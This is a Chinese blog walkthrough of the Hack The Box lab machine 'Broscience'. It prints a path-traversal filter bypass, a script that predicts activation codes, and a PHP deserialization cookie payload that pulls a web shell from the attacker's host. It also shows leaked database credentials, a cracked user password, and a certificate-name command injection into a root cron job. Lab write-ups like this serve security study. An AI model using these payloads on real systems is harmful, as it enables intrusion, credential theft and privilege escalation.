靶场笔记-HTB Broscience

最新推荐文章于 2023-07-25 22:23:42 发布
最新推荐文章于 2023-07-25 22:23:42 发布
阅读量330 收藏 1
点赞数 2
分类专栏： Hack The Box 文章标签： php web安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Timerings/article/details/128983217
版权

Broscience

一、常规端口扫描

开放三个端口

在这里插入图片描述

二、web渗透

  • 打开80端口是一个带有登录功能的健身网页

    在这里插入图片描述

  • 目录扫描一波，发现了几个目录列表，有目录遍历漏洞

    在这里插入图片描述
    在这里插入图片描述

  • 点击img.php,有个错误提示，说缺少path参数

    在这里插入图片描述

  • 拼接好参数尝试能否读取到系统文件，直接写…/…/…/…/…/etc/passwd会被拦截，有参数过滤，但是通过两次url编码可以绕过

    在这里插入图片描述

    在这里插入图片描述

  • 把读取到的passwd下载到本地，发现这台机器有三个用户，分别是root,bill和postgres

    在这里插入图片描述

    在这里插入图片描述

  • 由于img.php的path参数可以读取本地文件，那么就存在源码泄露漏洞，利用curl把includes目录的php文件全下载到本地，便于之后的分析需要

    在这里插入图片描述

  • 回到之前的网页，本来想着是自己注册一个账号登录，看看后台是否含有利用的点，但是注册完毕后还要点击验证链接，由于是靶场环境，只能自己尝试绕过
    在这里插入图片描述

  • 把注册页面的register.php下载下来分析一波源码 在这里插入图片描述
    发现在注册用户的时候调用了utils.php并且发送激活链接调用了activate.php

    在这里插入图片描述

    那就再把activate.php下载下来分析，发现这个页面只能告诉我们验证码是个32位的字母和数字组合

    在这里插入图片描述

    在activate.php没得到更多有用的信息，但是之前分析register.php的时候发现还调用了utils.php，于是把之前下载的utils.php来拿出来分析一波，在阅读utils.php的时候，这个php文件的第一段代码就直接告诉我们了生成验证码的方法，利用注册时的系统时间来初始化随机数的种子值，从而生成一个32位字符的验证码，这个php源码还有一个可以利用的点，后面会说到

    在这里插入图片描述

    那我们就可以直接用他这个源码生成一个验证码

    php中time函数生成的值如下格式，可以找到注册时间再利用https://www.epochconverter.com/这个网站来生成

    在这里插入图片描述

    新建一个yzm.php文件,内容如下，之后利用php -f yzm.php来生成激活码

    <?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(1676033457);  // 这里的值由上面网站生成
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
echo generate_activation_code() ;
?>

    在这里插入图片描述

  • 打开f12，把请求内容复制下来，利用curl的-i参数来显示出cookie以及请求时间

    curl -X POST -d 'username=asd&email=asd%40htb.com&password=asd&password-confirm=asd' https://broscience.htb/register.php -k -i

    在这里插入图片描述

    在这里插入图片描述

  • 在利用curl拼接上cookie和上面生成的激活码来激活账号（这里图片跟上面不一致，是因为这个靶场会定期删除账号及上传内容）

    curl -k -X POST -b 'PHPSESSID=q2aivm3nb6aid52je1c3c7kull' https://broscience.htb/activate.php?code=mokEoV8EyMTtc2ouUJfio6eXjyQPbNdL -i

    在这里插入图片描述

  • 利用激活的账号，登录到网站中，有个用户界面，在之前分析utils.php中发现这个php文件还负责生成用户cookie中的user-prefs，并且还具有一个可利用的反序列化漏洞。

    在这里插入图片描述

    在utils.php中avatar 类有两个参数，一个参数imgpath用于指向图像的路径，另一个tmp参数作用是保存img传来的内容。

    在AvatarInterface中有一个__wakeup()魔法函数，用于创建 avatar 类的新实例和avatar类的类保存方法。

    所以我们可以将 imgpath路径直接设置为我们反连shell的地址，tmp路径会将其保存在当前目录下，之后可以访问shell.php并且获得一个shell。

    反序列化php内容如下，这里的用于获取shell的shell.php，我用的是kali自带的，用其他的也一样道理

    <?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp="http://10.10.14.25:80/shell.php";
    public $imgPath="./shell.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
$payload = base64_encode(serialize(new AvatarInterface));
echo $payload;
?>

    利用php -f payload.php运行输出，得到含有恶意代码的cookie，再把此cookie利用cookie editor插件写入页面同时利用python临时生成一个web服务器，之后刷新网页

    在这里插入图片描述

  • 访问https://broscience.htb/shell.php成功得到一个shell，找到一个立足点
    在这里插入图片描述

    但是这个shell的权限太低，需要提权才能读取到flag

三、提权至用户

  • 在之前的过程中发现这台机器有个postgres用户，并且在泄露的源码中发现了db_connect.php（如下）直接暴露了数据库连接的账号密码等信息，于是想到连接postgresql看看能不能找到一些有用的账号密码

    <?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}

    这里我发现他在反弹回来的shell用psql连接时会一直卡住，但是用python生成一个交互式shell之后就没啥问题了

    python3 -c "import pty;pty.spawn('/bin/bash')"

    psql -h localhost -p 5432  -U dbuser -d broscience

    在这里插入图片描述

    进入shell之后利用\dt查看一下有哪些表，这里注意到有个users表，一般情况下账号密码应该保存在这个表下，利用\copy (SELECT * FROM users) TO '/tmp/users.csv‘命令把users表转存在本地便于分析

    在这里插入图片描述

    查看users.csv,发现了几个用户名和密码，但是密码是加密的，由于这个机器涉及到的用户只有bill，那就利用hashcat直接针对bill的密码hash值进行破解，得到bill:iluvhorsesandgym

    在这里插入图片描述

    hashcat -m 20 bill.txt /usr/share/wordlists/rockyou.txt

  • 利用得到的账号密码进行ssh登录，成功获取user.txt的flag

    在这里插入图片描述

四、提权至ROOT

  • 拿到userflag之后又是一些常规的提权信息收集，在跑pspy脚本时发现有个计划任务再以root身份运行

    在这里插入图片描述

  • 切到/opt目录查看一下renew_cert.sh是做什么的，内容如下：

    #!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

  • 通过分析发现renew_cert.sh脚本主要是用来检查SSL证书是否过期的，但是他的倒数第四行却有个可控变量$commonName，我们可以利用openssl生成一个新证书，在填写Common Name这一栏时加入恶意代码，让它以root权限运行，从而获得root权限

    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -days 1 -keyout broscience.key -out broscience.crt

    在这里插入图片描述

  • 之后就等待脚本运行，利用/bin/bash -p成功获取具有root权限的shell并读取到到root.txt的flag

    在这里插入图片描述

Timerings
关注
  • 2
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
靶场练习笔记（1）
ben_bai_hen_cai的博客
11-21 340
靶场练习笔记（1） 一、进行信息收集 #1进入192.168.100.130，发现如图（yxcms）; #2御剑扫描后台目录，几乎没用。用nmap扫描端口，nmap抽风了，速度慢成乌龟，没有任何收获; #3万事百度； 后台地址：/index.php?r=admin/index/login 默认账号：admin 默认密码：123456 输入账号和密码，感谢没改密码的那人，进入后台发现他的服务器用的w...
靶场实验练习笔记
hyy_ideal的博客
11-21 590
目录实验靶场练习笔记实验要求实验环境实验要求实验开始弱口令登陆网站后台文件上传漏洞进入内网导出导入 实验靶场练习笔记 实验要求 找出靶场中的5个flag 实验环境 靶机下载地址： （ 注：win2003为外网可访问机器，linux为内网机器 ） 配置环境： 设置win2003 网卡为nat ；物理机网卡Adapter for VMnet8设置为100网段 外网机器ip为192.168....
靶场笔记-covfefe
qq_51951386的博客
10-16 373
下载靶场 靶场下载地址 通过描述可以看出有3个flag 开启靶场和kali 将靶场和kali的网卡都设置为vm8 扫描 使用ifconfig查看本机ip 再用nmap查询本网段有几个IP地址，发现靶场ip 全面扫描靶场ip 发现开放了3个端口,有2是http 80端口 31337端口 虽然显示not found，但可以看出是开放的 使用nikto扫描80端口,没什么有用的信息 扫描31337端口,发现了一些信息 用dirb扫描31337端口 分别查看上面的网址 .bash_history写
web安全-靶场笔记
qq_56438857的博客
06-11 297
基本上包含了我学习的关于web的全部内容，全是干货哦。有补充的地方评论区私我哦。
sqli-labs靶场笔记（一）
Vi_vids的博客
12-06 180
sqli-labs靶场笔记（一） Less-01 下面展示一些 会用到的payload。 id=-1' union select 1,user(),database() --+ id=-1' or exist(select * from information_schema_columns) --+ id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='secur
armageddon-htb
04-01
【压缩包子文件的文件名称列表】：“armageddon-htb-main”可能是这个挑战的主要资料或配置文件，包含了攻防过程中所需的详细信息，如IP地址、初始凭证、端口扫描结果、漏洞利用脚本、系统日志等。挑战者可能需要...
qos-htb-开源
05-03
qos-htb是您一直在等待的简单带宽管理解决方案，graphix制作了图表，您可以在一秒钟之内查看到底谁在消耗带宽！
T-HTB manager-开源
05-03
T-HTB免费网络界面，内置PHP，简单的Java脚本，Ajax，嵌套集模型MySQL，rrd图，使用iptables创建tc命令CLASSIFY
xml-HTB-开源
05-02
xml-HTB是用于自动生成bash脚本的工具，该工具可在Linux上设置HTB。 它使用xml配置文件。 它易于使用，具有许多功能：多种深度的类，可配置的叶子，u32和fw过滤器，可同时配置两个输入
The-Waitlisted-HtB
05-04
等待名单的HtB 一个与语言交换伙伴匹配的Web应用程序
HTB靶场 Shared
weixin_45682839的博客
08-22 2105
HTB靶场shared靶机通关攻略记录，涉及知识点包括：端口服务扫描、sql注入（cookie）、linux提权（ipython越权漏洞、redis逃逸漏洞）
HTB靶场使用教程
鹧鸪的起点
07-25 1294
简单介绍下HTB注册教程
Hack The Box靶场使用流程及方法
z875611510的博客
06-09 4124
协议有两个：UDP1337、TCP443，应该是连接VPN走的端口，既然我们是在中国，还是选择UDP这种无连接的协议比较好。国内视频介绍（kali连接htb）：https://www.bilibili.com/video/BV1Q94y1f73u。以上就是hackthebox靶场的使用和第一关详解，总的来说这个靶场还是基础的，里面的资源也比较丰富，适合安全初学者入门。登录我们的HTB账号，点击右上角的“CONNECT TO HTB”，上面有两个选项，这里选择入门的就行。
反序列化漏洞详解
qq_48904485的博客
03-21 3056
一、基础知识 1、序列化 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,序列化的目的是方便数据的传输和存储。在PHP应用中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。 常见的序列化格式： 二进制格式 字节数组 json字符串 xml字符串 比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s
Hack The Box靶场简单使用流程
Zyu0
11-26 2208
加入一个动态增长的黑客社区，并通过最迷人的、游戏化的、实际操作的培训经验，把您的网络安全技能提高到下一个水平!
Hackthebox靶场连接
weixin_47100211的博客
04-03 3018
关于注册账号 刚开始注册账号 注册账号需要科学上网之后才可以注册，否则点击注册后没有反应 另外在填写全名时需要在姓后面加空格否则不符合规范 例如： Zhang san 靶场会提供免费的机器来供参与者使用，VIP会有更多的功能和把靶场使用，并且有官方的靶场解析，每周会有新的靶场加入到免费的使用中。 使用靶场有两种方式，第一种是在线环境，但是免费用户只有2个小时的使用时间，我使用本地的第二种方法，用kali连接VPN使用靶场。 选择第一个靶场后下载VPN文件： 有两种方法可以连接，我选择的
靶场笔记-----YXcms靶场
热门推荐
Zer0ooo的博客
11-21 1万+
靶场环境： 前言：YXcms是一款基于PHP+MYSQL构建的高效网站管理系统。 后台地址请在网址后面加上/index.php?r=admin进入。 后台的用户名:admin;密码:123456，请进入后修改默认密码。 1.如果看到是cms，先去搜集信息，百度一下该cms已出现的漏洞。我是根据这个网址发现的漏洞https://zhuanlan.zhihu.com/p/52099335 2.根据前言...
【HTB靶场记录】TIER-0
Madess的博客
04-25 630
HTB靶场好像从21年取消获取邀请码这个小门槛之后就可以直接注册，虽然他是个氪金游戏，但是还是想小摸一把，在经历曲折的注册过程（明白了科学上网的重要性，以及被谷歌的验证码折磨了一轮）... 1.连接靶场的vpn 点击lab打开第一个靶场，点击connect to HTB 选择端口下载并打开文件 刷新显示连接成功 2.Meow 获取靶机IP，kali可以直接ping通靶机IP地址 靶机：10.129.5.209 开始答题（直接配合翻译食用） 第一题：首字母缩写VM代.
在线post请求_三十七，Web渗透提高班之hack the box在线靶场注册及入门知识
weixin_39601194的博客
11-30 942
一.注册hack the boxHack The Box是一个在线平台，允许测试您的渗透技能和代码，并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战，并且模拟真实场景，其风格更倾向于CTF挑战。注册登录之后如下图所示，包括地图炮(attack maps)、在线人数及设备、Web渗透真实场景等。官方网址：https://www.hackthebox.eu/那么，开始我们的注册和学习吧！...
format htb
最新发布
08-24
HTB is an abbreviation for Hack The Box, which is an online platform that provides hands-on penetration testing and hacking challenges. It allows users to simulate real-world cybersecurity scenarios ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值